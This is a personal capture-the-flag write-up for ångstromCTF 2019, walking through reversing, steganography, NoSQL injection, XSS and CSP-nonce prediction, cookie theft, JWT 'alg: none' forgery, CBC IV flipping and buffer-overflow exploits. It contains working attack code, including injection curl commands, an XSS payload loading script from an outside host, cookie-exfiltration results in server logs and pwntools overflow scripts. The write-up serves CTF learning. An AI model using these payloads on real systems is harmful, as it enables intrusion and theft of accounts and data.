# ångstromCTF 2019

Writeup of challenges I solved for angstromCTF 2019

# Just Letters

This challenge gives us a AlphaBeta interpreter with the flag at the top of memory - After figuring out how to print one character of the flag, I opted for the cheap solution:

``````from pwn import *

flag = ""

while True:
r = remote("misc.2019.chall.actf.co", 19600)
r.recvuntil("> ")
r.sendline("S"*len(flag) + "GCL")
c = r.recv(1)
r.close()
flag += c
print(flag)

if c == "}":
break``````

Printing the flag one character at a time then reassembling it.

# High Quality Checks

We were given a binary that checks whether the given input is the correct flag.

The following is the relevant function decompiled with Ghidra. Given I had no intention of sitting down and understanding what each function did, I tried using symbolic execution with angr instead.

``````undefined8 check(char *pcParm1)

{
int iVar1;

iVar1 = d(pcParm1 + 0xc);
if ((((((iVar1 != 0) && (iVar1 = v((ulong)(uint)(int)*pcParm1), iVar1 != 0)) &&
(iVar1 = u((ulong)(uint)(int)pcParm1[0x10],(ulong)(uint)(int)pcParm1[0x11],
(ulong)(uint)(int)pcParm1[0x11]), iVar1 != 0)) &&
((iVar1 = k((ulong)(uint)(int)pcParm1[5]), iVar1 == 0 &&
(iVar1 = k((ulong)(uint)(int)pcParm1[9]), iVar1 == 0)))) &&
((iVar1 = w(pcParm1 + 1), iVar1 != 0 &&
((iVar1 = b(pcParm1,0x12), iVar1 != 0 && (iVar1 = b(pcParm1,4), iVar1 != 0)))))) &&
((iVar1 = z(pcParm1,0x6c), iVar1 != 0 && (iVar1 = s(pcParm1), iVar1 != 0)))) {
return 1;
}
return 0;
}``````

The following script spat out the flag (with a bit of extra junk at the end):

``````#!/usr/bin/python3

"""
with reference to:
https://github.com/angr/angr-doc/blob/master/examples/securityfest_fairlight/solve.py
https://github.com/angr/angr-doc/blob/master/examples/csaw_wyvern/solve.py
"""

import angr
import claripy

FLAG_LENGTH = 24

p = angr.Project("/home/justin/angstrom2019/high_quality_checks")

flag = claripy.BVS("flag", FLAG_LENGTH * 8)

initial_state = p.factory.entry_state(args=["./high_quality_checks"], stdin=flag)

for byte in flag.chop(8):
initial_state.add_constraints(byte > ' ') # \x20

sm = p.factory.simulation_manager(initial_state)
sm.explore(find=0x400a4d, avoid=0x400a54)
found = sm.found[0]

solution = found.solver.eval(flag, cast_to=bytes)
print(solution)``````

# Icthyo

We were given a binary that encodes a message into an image, and a image with the flag encoded into it.

The relevant portion of the binary:

``````  while (y < 0x100) {
row = *(long *)(rows + (long)y * 8);
x = 0;
while (x < 0x100) {
pixel = (byte *)(row + (long)(x * 3));
iVar2 = rand();
*pixel = (byte)iVar2 & 1 ^ *pixel;
iVar2 = rand();
pixel[1] = pixel[1] ^ (byte)iVar2 & 1;
iVar2 = rand();
pixel[2] = pixel[2] ^ (byte)iVar2 & 1;
x = x + 1;
}
o = 0;
while (o < 8) {
pixel1 = (byte *)(row + (long)(o * 0x60));
message_char = (&message)[(long)y];
if ((pixel1[2] & 1) != 0) {
pixel1[2] = pixel1[2] ^ 1;
}
pixel1[2] = pixel1[2] |
(byte)((int)message_char >> ((byte)o & 0x1f)) & 1 ^ (pixel1[1] ^ *pixel1) & 1;
o = o + 1;
}
y = y + 1;
}``````

This is the encode function which iterates over each row of pixels one row at a time.

The first while loop scrambles the lowest bit of each byte just for that bit of extra fun.

The second loop is where it gets more interesting. It takes a byte of the message, then encodes one bit of it into the blue channel of every 32nd pixel ie 0, 32, 64, 128 and so on. The relevant line cleaned up:

``````pixel[2] = pixel[2] | ((message_char >> o) & 1) ^ ((pixel[1] & pixel[0]) & 1)
``````

The image can thus be decoded:

``````import sys
from PIL import Image

im = Image.open(sys.argv[1])

msg = ""
for y in range(256):
# data is encoded in every 32th pixel ie 0, 32, 64
bits = ""
for x in range(0, 256, 32):
pixel = pixels[x, y]

bit = (pixel[2] & 1) ^ ((pixel[1] ^ pixel[0]) & 1)
bits = str(bit) + bits

msg += chr(int(bits, 2))

print(msg)``````

# No Sequels

This challenge involved a NoSQL injection:

``````app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

...

router.post('/login', verifyJwt, function (req, res) {
// monk instance
var db = req.db;

if (!user || !pass){
res.send("One or more fields were not provided.");
}
var query = {
}

db.collection('users').findOne(query, function (err, user) {
if (!user){
return
}

res.redirect("/site");
});
});``````

The login form sends two strings `username` and `password` back to the server. An injection attack against NoSQL would involve being able to pass an object as `username` and `password` rather than a string.

As such, the login form itself cannot be used to execute the attack. However, the first line of code

``app.use(bodyParser.json());``

is a great hint - just pass a JSON object instead. The following command retrieves a valid token:

``curl 'https://nosequels.2019.chall.actf.co/login' -H 'cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4NTk5fQ.SjMoaT-zOaBl0ECb2nNZEbI3yaxdo43WuQZQYsoTRus' -H "Content-Type: application/json" --data '{"username":{"\$ne": null}, "password": {"\$ne": null}}'``
``````HTTP/2 302
content-type: text/plain; charset=utf-8
date: Thu, 25 Apr 2019 11:59:15 GMT
location: /site
server: nginx/1.14.1
vary: Accept
x-powered-by: Express
content-length: 27

Found. Redirecting to /site``````

Setting the cookie provided and navigating to `/site` returns the first flag.

# No Sequels 2

This part required us to retrieve the password for the admin user. This is essentially a blind SQL injection. `/login` returns two states: a user is found, or a user is not found. This can be used to test for each character of the password one at a time:

"Does a user with `username`= `admin` and `password` starting with `a` exist? No?"

"Does a user with `username`= `admin` and `password` starting with `b` exist? No?"

"Does a user with `username`= `admin` and `password` starting with `c` exist? Yes? Great"

"Does a user with `username`= `admin` and `password` starting with `ca` exist? No?"

and repeating until the password is retrieved. Before starting the bruteforce, I tested what characters the password consisted of:

``curl 'https://nosequels.2019.chall.actf.co/login' -H 'cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4NTk5fQ.SjMoaT-zOaBl0ECb2nNZEbI3yaxdo43WuQZQYsoTRus' -H "Content-Type: application/json" --data '{"username":"admin", "password": {"\$regex": "^[a-z]+\$"}}'``

Since a user was found, I can conclude that the password comprises entirely of lower case ASCII characters. The following script bruteforced the password:

``````import requests
import json
import string

def test(inp):

return not r.text.startswith("Wrong")

pw = ""
while True:
for c in string.ascii_lowercase:
if test(pw+c):
pw += c
print("pw={}".format(pw))
break``````

# DOM Validator

This challenge involves a website that takes user input and displays it:

``````app.post('/posts', function (req, res) {
// title must be a valid filename
if (!(/^[\w\-. ]+\$/.test(req.body.title)) || req.body.title.indexOf('..') !== -1) return res.sendStatus(400)
if (fs.existsSync('public/posts/' + req.body.title + '.html')) return res.sendStatus(409)
fs.writeFileSync('public/posts/' + req.body.title + '.html', `<!DOCTYPE html SYSTEM "3b16c602b53a3e4fc22f0d25cddb0fc4d1478e0233c83172c36d0a6cf46c171ed5811fbffc3cb9c3705b7258179ef11362760d105fb483937607dd46a6abcffc">
<html>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script>
<script src="../scripts/DOMValidator.js"></script>
<body>
<h1>\${req.body.title}</h1>
<p>\${req.body.content}</p>
</body>
</html>`)
res.redirect('/posts/' + req.body.title + '.html')
})``````

The interesting part is in the script `DOMValidator.js`:

``````function checksum (element) {
var string = ''
string += (element.attributes ? element.attributes.length : 0) + '|'
for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {
string += element.attributes[i].name + ':' + element.attributes[i].value + '|'
}
string += (element.childNodes ? element.childNodes.length : 0) + '|'
for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {
string += checksum(element.childNodes[i]) + '|'
}
return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)
}
var request = new XMLHttpRequest()
request.open('GET', location.href, false)
request.send(null)
if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) {
document.documentElement.remove()
}``````

A quick look suggests that this block of code hashes the page somehow and deletes the entire document if it does not match some predetermined hash. A standard XSS payload thus fails because there is no `<body>` (or `<head>`, or any element left). However, you can still call `document.appendChild` to append an element to the DOM.

I just have to tweak a payload from XSS Hunter slightly - Rather than appending to `<body>`, append to `document`:

``<img src=x onerror="window.onload=function() {var a=document.createElement('script');a.src='https://<subdomain>.xss.ht';document.appendChild(a);console.log(1)}">``

# NaaS

This challenge involves yet another website that takes user input and displays it. However, the page displaying user input is protected by a Content Security Policy that validates script tags with a nonce.

Every time the page is loaded, the server passes the page (without user input) to the following service to add a nonce to all script tags:

``````def setup():
random.seed(os.urandom(256))
url = os.environ.get("URL")
hits = status["hits"] if "hits" in status else 0
return {"url": url, "hits": hits}

def get_nonces():
while True: yield str(base64.b64encode(binascii.unhexlify(hex(random.getrandbits(128))[2:].zfill(32))), encoding="ascii")

@app.route('/nonceify', methods=["POST"])
def nonceify():
status["hits"] += 1
soup = bs(request.data, 'html.parser')
csp = "script-src"
for script, nonce in zip(soup.findAll('script'), get_nonces()):
script["nonce"] = nonce
csp += " 'nonce-" + nonce + "'"
csp += ";"
return jsonify({"html": str(soup), "csp": csp})``````

Then, user input is filled in and displayed. This means that only script tags expected to be there will have a valid nonce. Any other script tags (like those injected from our malicious input) will not have a valid nonce and will not be executed.

That seeding of `random` in the nonce generation was unusual and reminded me that `random` is a PRNG, meaning that given enough outputs, one can recover the state of the PRNG and predict future outputs.

I came across https://github.com/eboda/mersenne-twister-recover while searching around and built my attack around it.

``````#!/usr/bin/python3
import random
import base64
import requests
import binascii
from bs4 import BeautifulSoup
from Crypto.Util.number import bytes_to_long
from MTRecover import MT19937Recover

def reverse_nonce(nonce):
# reverse a nonce value into 4x ints
nonce = base64.b64decode(nonce)
return [bytes_to_long(nonce[i:i+4]) for i in range(0, 16, 4)][::-1]

def to_nonce(num):
return str(base64.b64encode(binascii.unhexlify(hex(num)[2:].zfill(32))), encoding="ascii")

NONCES_TO_RECOVER = 157

# first, get STATES_TO_RECOVER nonces
# each nonce contains 4 ints from the prng
# 625 are needed to recover the prng, use the last one for verification
html = "<html>" + "<script></script>" * NONCES_TO_RECOVER + "</html>"
r = requests.post("https://naas.2019.chall.actf.co/nonceify", data=html)
soup = BeautifulSoup(r.text, "html.parser")

outputs = []
for script in soup.findAll("script"):
outputs += reverse_nonce(script["nonce"])

mtr = MT19937Recover()
rand = mtr.go(outputs[:-1])

assert rand.getrandbits(32) == outputs[-1]

# now rand has the same state as random on the server
# because this state is shared and may increment between
# when i calculate it and the admin actually visits the page,
# i'm going to calculate the next 100 nonces

payload = "".join([xss.format(to_nonce(rand.getrandbits(128))) for _ in range(100)])

r = requests.post("https://paste.2019.chall.actf.co/", data={"paste": payload}, allow_redirects=False)

requests.post("https://paste.2019.chall.actf.co/report", json={"url": paste_url})``````

The script can be split into a few parts:

1. Recover 625 outputs of the PRNG. Since each nonce consists of 4 outputs (a nonce is 128 bits while each output is 32 bits), I get 157 nonces.
2. Feed the outputs into mersenne-twister-recover and recover the state of the PRNG
3. Generate the next (few) nonces
4. Submit script tag(s) with the predicted nonces
5. Report the malicious page so that the admin would visit it

I say nonces in step 3 and script tags in step 4 because the nonces are only valid once - this means that if another nonce is requested by another visitor after I predict it but before the admin visits my page, my attack has failed.

As such, I generate the next 100 nonces and spray the page with it, knowing that only one will have the correct nonce:

Of course, CSP prevents XSS Hunter from working in the above image, I used a simple `fetch()` to retrieve `document.cookie` in the final payload.

I also explicitly specified `allow_redirects=False` when submitting the paste - if not, the malicious page will be visited, causing the nonces to be generated and thus invalid.

The flag then appears in my web server logs:

``18.214.214.31 - - [24/Apr/2019:09:48:09 +0800] "GET /naas/flag=actf%7Blots_and_lots_of_nonces%7D HTTP/1.1" 404 3742 "https://paste.2019.chall.actf.co/79d701ab" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/75.0.3738.0 Safari/537.36"``

This challenge involves stealing the cookie of an admin. The relevant portions of the source:

``````const admin_id = "admin_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("\$")

let flag = ""
if (err) throw err;
flag = data
});
let user_num = 0
name: 'id',
domain: dom,
};

async function visit (url) {
try{
const browser = await puppeteer.launch({
args: ['--no-sandbox']
})
var page = await browser.newPage()
await page.setCookie({name: "user_num", value: "0", domain: dom})
await page.goto(url)
await page.close()
await browser.close()
}catch(e){}
}

app.use((req, res, next) => {
user_num+=1
res.cookie('user_num',user_num.toString(),{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom})
}
res.locals.flag = true;
}else{
res.locals.flag = false;
}
next()
})

app.post('/complain', (req, res) => {
visit(req.body.url);
})

})

app.get('/getflag', (req, res) => {
res.send("<link rel='stylesheet' type='text/css' href='style.css'>flag: "+(res.locals.flag?flag:"currently unavailable"))
})``````

The objective is clear - steal `thecookie` and visit `/getflag` with it.

But how do we retrieve that cookie? There is no way for us to inject user input into a page on the same domain - necessary because the cookie is only added to the request to the same domain.

`/cookies` is really interesting though, why would there be an endpoint echoing the users cookies?

What's actually printed out when you visit `/cookies`?

``user_KkHw4c9734OwxT6DwGNNbn2k2Li6KAOvG3aZXXzAZFg= 17988``

The user cookie is post processed in quite an unusual manner - certain characters are replaced:

``"user_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("\$")``

A side effect of base64 encoding 32 bytes means that there will always be one `=` at the end as padding.

Lets summarize what we know so far:

1. The admin will visit an arbitrary page
2. The cookie should be retrieved from `/cookies` somehow
3. Cookie generation replaces certain characters

What are my options for getting `/cookies` then? Browsers provide protection against website A running client-sided code that makes requests to website B: this means that `https://bad.malicious.site` cannot retrieve the contents of `https://bank.com/transfer` except under certain specific conditions.

One of these exceptions is Cross-Origin Resource Sharing, which allows `https://bank.com/transfer` to respond with a special header allowing certain (or all) websites to load content from it no matter what.

For example, in the context of this challenge, reporting a page on `https://justins.in` with the following code:

``````<script>
}
</script>``````

will not work. The request to `/cookies` will actually be made, but the browser detects that `/cookies` belongs to a different domain and does not contain any CORS headers. The response is thus blocked and not returned to the callback.

The other exception is your friendly `<script>` tag - you can include JavaScript from other domains, most commonly used to load scripts from a CDN. Another application of this is JSONP.

Considering that, the pieces fell into place.

``user_KkHw4c9734OwxT6DwGNNbn2k2Li6KAOvG3aZXXzAZFg= 17988 ``

is actually valid JavaScript! It's assigning 17988 to the variable `user_KkHw4c9734OwxT6DwGNNbn2k2Li6KAOvG3aZXXzAZFg`.

Hosting the following code and then reporting it:

``````<html>
<script>
let found = false;
for (const i in window) {
fetch(i);
found = true;
}
}
if (!found) fetch("notfound");
</script>
</html>>``````

results in the following request in my web server log:

``18.214.214.31 - - [23/Apr/2019:00:00:03 +0800] "GET /admin_GgxUa7MQ7UVo5JHFGLbqzuQfFFy4EDQNwZWAWJXS5_o HTTP/1.1" 404 476 "https://justins.in/cookie.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/75.0.3738.0 Safari/537.36"``

Visiting `/getflag` with it returns the flag.

# GiantURL

This challenge presents a URL...expander. The relevant portions of code:

``````<?php elseif (\$path === '/redirect') : ?>

...

<?php elseif (\$path === '/report' && \$_SERVER['REQUEST_METHOD'] === 'POST') : ?>
<?php exec('nohup node /app/visit.js '.escapeshellarg(\$_REQUEST['url']).' > /dev/null 2>&1 &'); ?>

...

<?php elseif (\$path === '/admin' && \$_SERVER['REQUEST_METHOD'] === 'POST') : ?>
<?php else : ?>
<?php endif; ?>
<?php else : ?>

...

if (\$path === '/admin/changepass' && \$_SERVER['REQUEST_METHOD'] === 'POST' && \$_SESSION["admin"] === "true") {
} else {
}
}``````

The objective is straightforward - call `/admin/changepass` as the administrator, then visit `/admin` and login with the password set earlier.

This application allows a user to create a redirection to a URL of their choosing. Users can also report expanded URLs, upon which an admin would visit the lengthened URL and click on the `<a>` link.

There is one obvious thing to try: report a HTML page with the below content:

``````<html>
<script>
document.main.submit()
</script>
</html>``````

Unfortunately, even though the page was loaded, the password was not changed, presumably because of some sort of origin check for the request.

How can we issue a request to `/admin/changepass` such that it looks like it originated from the same domain then?

I turn my attention to the report functionality - why was it explicitly stated that "Note: the admin does visit the URL you have lengthened."?

Taking a closer look at how the redirect page is generated:

``````<?php elseif (\$path === '/redirect') : ?>

`htmlspecialchars` is used to try and protect against an XSS attack. However, the documentation explains something interesting: it converts the following characters &, <, >, ' and " into its html entity.

This is not perfect protection: yes, this stops me from terminating the `<a>` tag and injecting a `<script>` tag outright, but it does not stop me from injecting attributes into the `<a>` tag. Note that the following element is perfectly valid:

``<a href=https://google.com name=hello>hello</a>``

So I can inject attributes into a `<a>` tag that the admin clicks on - how can I submit a POST request from this then? Searching reveals the `ping` attribute: "Contains a space-separated list of URLs to which, when the hyperlink is followed, `POST`requests with the body `PING` will be sent by the browser (in the background). Typically used for tracking."

Perfect. Conveniently, `/admin/changepass` reads the password from anywhere in the request it can, including both GET and POST parameters. The `ping` attribute only lets us send a POST request without any data, leaving GET parameters as the only way.

``# ping=https://giant_url.2019.chall.actf.co/admin/changepass?password=rPAX2MmZuH8LrkEPlGxQrxODJXjKozlNpfIfc2ZHd2Dk5sZYluw4RUrUROOejFO0oTWPoGU7aJo2GnTlYRdL331ziOpnDEPRawCYsplItKwAag``

I can then just login with the password I set and retrieve the flag.

This challenge provides us with a JSON Web Token containing a `perms` attribute. Ours contains `perms`= `user`, with the goal to provide a JWT with `perms`= `admin`.

Relevant code:

``````let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
res.locals.flag = true;
}

...

let secret = crypto.randomBytes(32)
cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});
secrets.push(secret);

``````

A random secret is generated and used to sign each JWT. The index of this secret is part of the JWT and is used to verify the JWT later.

My first thought was to identify some property of the array `secrets` that was a string, so I could sign it with the string and assign `secretid`= `somestringattribute`. Unfortunately, I could not identify any string property (the library used only signs with a string or buffer).

A team mate mentioned the use of `alg: none` which I immediately ruled out citing this article - given that the author of that article and the owner of the `jsonwebtoken` library used in this challenge were the same/related, this would have been patched.

Of course, to verify that it was indeed patched, I tested it and identified the code that stops the `alg: none` attack:

``````if (!hasSignature && secretOrPublicKey){
return done(new JsonWebTokenError('jwt signature is required'));
}``````

This check fails the verification if a secret was provided yet no signature was found in the JWT.

I promptly ruled this vector out and went back to staring at the code.

Revisiting this vector again later, I realised I could fulfill that check - just pass a string for `secretid`!

The following object signed with `alg: none` results in a valid admin token:

``````{
"secretid": "asdf",
"rolled": "no"
}``````

# Secret Sheep Society

This challenge involves modifying a cookie containing permissions. The following JSON object is encrypted with AES-CBC:

``{'admin': false, 'handle': "handle"}``

The cookie is `IV+encrypt({'admin': false, 'handle': "handle"})`.

The goal is to change the value of the `admin` to `true`to retrieve the flag. However, we cannot modify the encrypted string directly.

What we can change is the IV. Since the IV is XORed with the first block of the decrypted ciphertext to return the plaintext, modifying the IV will allow us to freely modify the first block of plaintext without affecting the rest of the plaintext.

Conveniently, the admin property of the cookie is in the first block (of 16 bytes):

`{"admin": false `

This means that we can adjust the IV such that the decrypted object contains `admin: true` rather than `admin: false`.

The attack plan looks like this:

2. Set IV = IV ^ `{"admin": false` ^ `{"admin": true `

This can be scripted:

``````import sys
import base64
import binascii

# https://crypto.stackexchange.com/a/66086
def xor_string(a, b):
assert(len(a) == len(b))
out = bytearray()

for c1, c2 in zip(a, b):
out.append(ord(c1) ^ ord(c2))

return out

# https://stackoverflow.com/a/23312664
def bxor(b1, b2):
result = bytearray(b1)
for i, b in enumerate(b2):
result[i] ^= b
return bytes(result)

``````

# Aquarium

Source:

``````#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
system("/bin/cat flag.txt");
}

struct fish_tank {
char name[50];
int fish;
int fish_size;
int water;
int width;
int length;
int height;
};

struct fish_tank create_aquarium() {
struct fish_tank tank;

printf("Enter the number of fish in your fish tank: ");
scanf("%d", &tank.fish);
getchar();

printf("Enter the size of the fish in your fish tank: ");
scanf("%d", &tank.fish_size);
getchar();

printf("Enter the amount of water in your fish tank: ");
scanf("%d", &tank.water);
getchar();

printf("Enter the width of your fish tank: ");
scanf("%d", &tank.width);
getchar();

printf("Enter the length of your fish tank: ");
scanf("%d", &tank.length);
getchar();

printf("Enter the height of your fish tank: ");
scanf("%d", &tank.height);
getchar();

printf("Enter the name of your fish tank: ");
char name[50];
gets(name);

strcpy(name, tank.name);
return tank;
}

int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);

setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

struct fish_tank tank;

tank = create_aquarium();

if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
return 1;
}

printf("Nice fish tank you have there.\n");

return 0;
}``````

A buffer overflow occurs at `gets(name)` towards the end of `create_aquarium` as `gets` reads in as much information as the user is willing to provide. This allows us to overwrite the return address of `create_aquarium` with the address of `flag`.

We need to know the exact number of characters to overwrite before we reach the return address of `create_aquarium`.

The quickest way to find this is to dump in a string with a cyclic pattern which will allow us to identify the exact offset:

Using gdb with pwndbg and gef:

``````gef➤  cyclic 200
gef➤  r
Starting program: /home/justin/angstrom2019/aquarium
Enter the number of fish in your fish tank: 1
Enter the size of the fish in your fish tank: 1
Enter the amount of water in your fish tank: 1
Enter the width of your fish tank: 1
Enter the length of your fish tank: 1
Enter the height of your fish tank: 1
``````

As expected, the program segfaults when it tries to return from `create_aquarium` because the return address is invalid:

``````Program received signal SIGSEGV, Segmentation fault.
0x000000000040138e in create_aquarium ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────
\$rax   : 0x00007fffffffe3a0  →  "haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaa
\$rbx   : 0x0
\$rcx   : 0x6261617762616176 ("vaabwaab"?)
\$rdx   : 0x62616100
\$rsp   : 0x00007fffffffe398  →  "naaboaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaa
\$rbp   : 0x6261616d6261616c ("laabmaab"?)
\$rsi   : 0x00007fffffffe3c0  →  "paabqaabraabsaabtaabuaabvaabwaabxaabyaab"
\$rdi   : 0x00007fffffffe380  →  "xaabyaab"
\$rip   : 0x000000000040138e  →  <create_aquarium+469> ret
\$r8    : 0x0000000000405739  →  0x0000000000000000
\$r9    : 0x00007fffffffe330  →  "daabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaa
\$r10   : 0xfffffffffffff4fa
\$r11   : 0x00007ffff7f69a60  →  0xfff20c40fff20c30
\$r12   : 0x00000000004010c0  →  <_start+0> endbr64
\$r13   : 0x00007fffffffe4d0  →  0x0000000000000001
\$r14   : 0x0
\$r15   : 0x0
[!] Command 'registers' failed to execute properly, reason: Invalid cast.
────────────────────────────────────────────────────────────────────────────────
[!] Command 'dereference' failed to execute properly, reason: Unknown register.
────────────────────────────────────────────────────────────────────────────────
0x401383 <create_aquarium+458> mov    DWORD PTR [rax+0x48], edx
0x401386 <create_aquarium+461> mov    rax, QWORD PTR [rbp-0x98]
0x40138d <create_aquarium+468> leave
→   0x40138e <create_aquarium+469> ret
[!] Cannot disassemble from \$PC
────────────────────────────────────────────────────────────────────────────────
[#0] Id 1, Name: "aquarium", stopped, reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────
[#0] 0x40138e → create_aquarium()
────────────────────────────────────────────────────────────────────────────────
gef➤  stack
00:0000│ rsp  0x7fffffffe398 ◂— 0x6261616f6261616e ('naaboaab')
01:0008│ rax  0x7fffffffe3a0 ◂— 0x6261616962616168 ('haabiaab')
02:0010│      0x7fffffffe3a8 ◂— 0x6261616b6261616a ('jaabkaab')
03:0018│      0x7fffffffe3b0 ◂— 0x6261616d6261616c ('laabmaab')
04:0020│      0x7fffffffe3b8 ◂— 0x6261616f6261616e ('naaboaab')
05:0028│ rsi  0x7fffffffe3c0 ◂— 0x6261617162616170 ('paabqaab')
06:0030│      0x7fffffffe3c8 ◂— 0x6261617362616172 ('raabsaab')
``````

The offending instruction is `ret` which tries to jump to the address at the top of the stack, which is `naaboaab` at offset 152:

``````gef➤  cyclic -l naab
152
``````

This means that the 8 bytes at offset 152 of my aquarium name will overwrite the return address of `create_aquarium`. I confirm this by sending 152 As and 8 Bs - if the offset 152 is correct, I should see `ret` try and jump to `BBBBBBBB`.

``````gef➤  r <<< \$(python -c 'print "1\n" * 6 + "A" * 152 + "B" * 8')
Starting program: /home/justin/angstrom2019/aquarium <<< \$(python -c 'print "1\n" * 6 + "A" * 152 + "B" * 8')

Program received signal SIGSEGV, Segmentation fault.
0x000000000040138e in create_aquarium ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
\$rax   : 0x00007fffffffe3a0  →  "AAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
\$rbx   : 0x0
\$rcx   : 0x4141414141414141 ("AAAAAAAA"?)
\$rdx   : 0x41414141
\$rsp   : 0x00007fffffffe398  →  "BBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
\$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
\$rsi   : 0x00007fffffffe3a0  →  "AAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
\$rdi   : 0x00007fffffffe360  →  0x4141414141414100
\$rip   : 0x000000000040138e  →  <create_aquarium+469> ret
\$r8    : 0x000000000040571d  →  0x0000000000000000
\$r9    : 0x00007fffffffe310  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
\$r10   : 0xfffffffffffff4fa
\$r11   : 0x00007ffff7f69a60  →  0xfff20c40fff20c30
\$r12   : 0x00000000004010c0  →  <_start+0> endbr64
\$r13   : 0x00007fffffffe4d0  →  0x0000000000000001
\$r14   : 0x0
\$r15   : 0x0
[!] Command 'registers' failed to execute properly, reason: Invalid cast.
───────────────────────────────────────────────────────────────────── stack ────
[!] Command 'dereference' failed to execute properly, reason: Unknown register.
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x401383 <create_aquarium+458> mov    DWORD PTR [rax+0x48], edx
0x401386 <create_aquarium+461> mov    rax, QWORD PTR [rbp-0x98]
0x40138d <create_aquarium+468> leave
→   0x40138e <create_aquarium+469> ret
[!] Cannot disassemble from \$PC
[#0] Id 1, Name: "aquarium", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40138e → create_aquarium()
────────────────────────────────────────────────────────────────────────────────
gef➤  stack
00:0000│ rsp      0x7fffffffe398 ◂— 0x4242424242424242 ('BBBBBBBB')
01:0008│ rax rsi  0x7fffffffe3a0 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓
04:0020│          0x7fffffffe3b8 ◂— 0x4242424242424242 ('BBBBBBBB')
05:0028│          0x7fffffffe3c0 ◂— 0x4141414141414100
06:0030│          0x7fffffffe3c8 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓
``````

So yes, when `ret` is called, `rsp` is pointing to `BBBBBBBB` - I just need to replace this with the address of `flag` which is at `00000000004011b6`:

``````justin@kali:~/angstrom2019\$ readelf -s aquarium | grep flag
75: 00000000004011b6    19 FUNC    GLOBAL DEFAULT   13 flag
``````

Throwing this together into a pwntools script to run against the remote binary:

``````from pwn import *

#p = process("./aquarium")
p = remote("shell.actf.co", 19305)
p.sendline("1\n" * 6 + "A"*152 + p64(0x00000000004011b6))
p.interactive()
``````

which spits out

``````[+] Opening connection to shell.actf.co on port 19305: Done
[*] Switching to interactive mode
Enter the number of fish in your fish tank: Enter the size of the fish in your fish tank: Enter the amount of water in your fish tank: Enter the width of your fish tank: Enter the length of your fish tank: Enter the height of your fish tank: Enter the name of your fish tank: actf{overflowed_more_than_just_a_fish_tank}
Segmentation fault (core dumped)
[*] Got EOF while reading in interactive
``````

pwntools (the python library used) can also retrieve the address of flag without having to manually `readelf` it:

``````from pwn import *

e = ELF("./aquarium")

#p = process("./aquarium")
p = remote("shell.actf.co", 19305)
p.sendline("1\n" * 6 + "A"*152 + p64(e.symbols["flag"]))
p.interactive()
``````

# Chain Of Rope

The exploit used in the previous challenge allows us to call a single function, after which the program promptly segfaults. What if we wanted to call multiple functions one after another?

Source:

``````#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
userToken = 0x1337;
return 0;
}

if (userToken == 0x1337 && pin == 0xdeadbeef) {
balance = 0x4242;
} else {
}
return 0;
}

int flag (int pin, int secret) {
if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
system("/bin/cat flag.txt");
} else {
}
return 0;
}

void getInfo () {
printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char name [32];
printf("--== ROPE CHAIN BLACK MARKET ==--\n");
printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
printf("What would you like to do?\n");
printf("1 - Set name\n");
printf("2 - Get user info\n");
printf("3 - Grant access\n");
int choice;
scanf("%d\n", &choice);
if (choice == 1) {
gets(name);
} else if (choice == 2) {
getInfo();
} else if (choice == 3) {
printf("lmao no\n");
} else {
printf("I don't know what you're saying so get out of my black market\n");
}
return 0;
}``````

Another buffer overflow vulnerability is present in `main` at `gets(name)`, allowing us to overwrite the return address of `main`.

The attack plan:

1. Call `authorize()`
2. Call `addBalance(0xdeadbeef)`
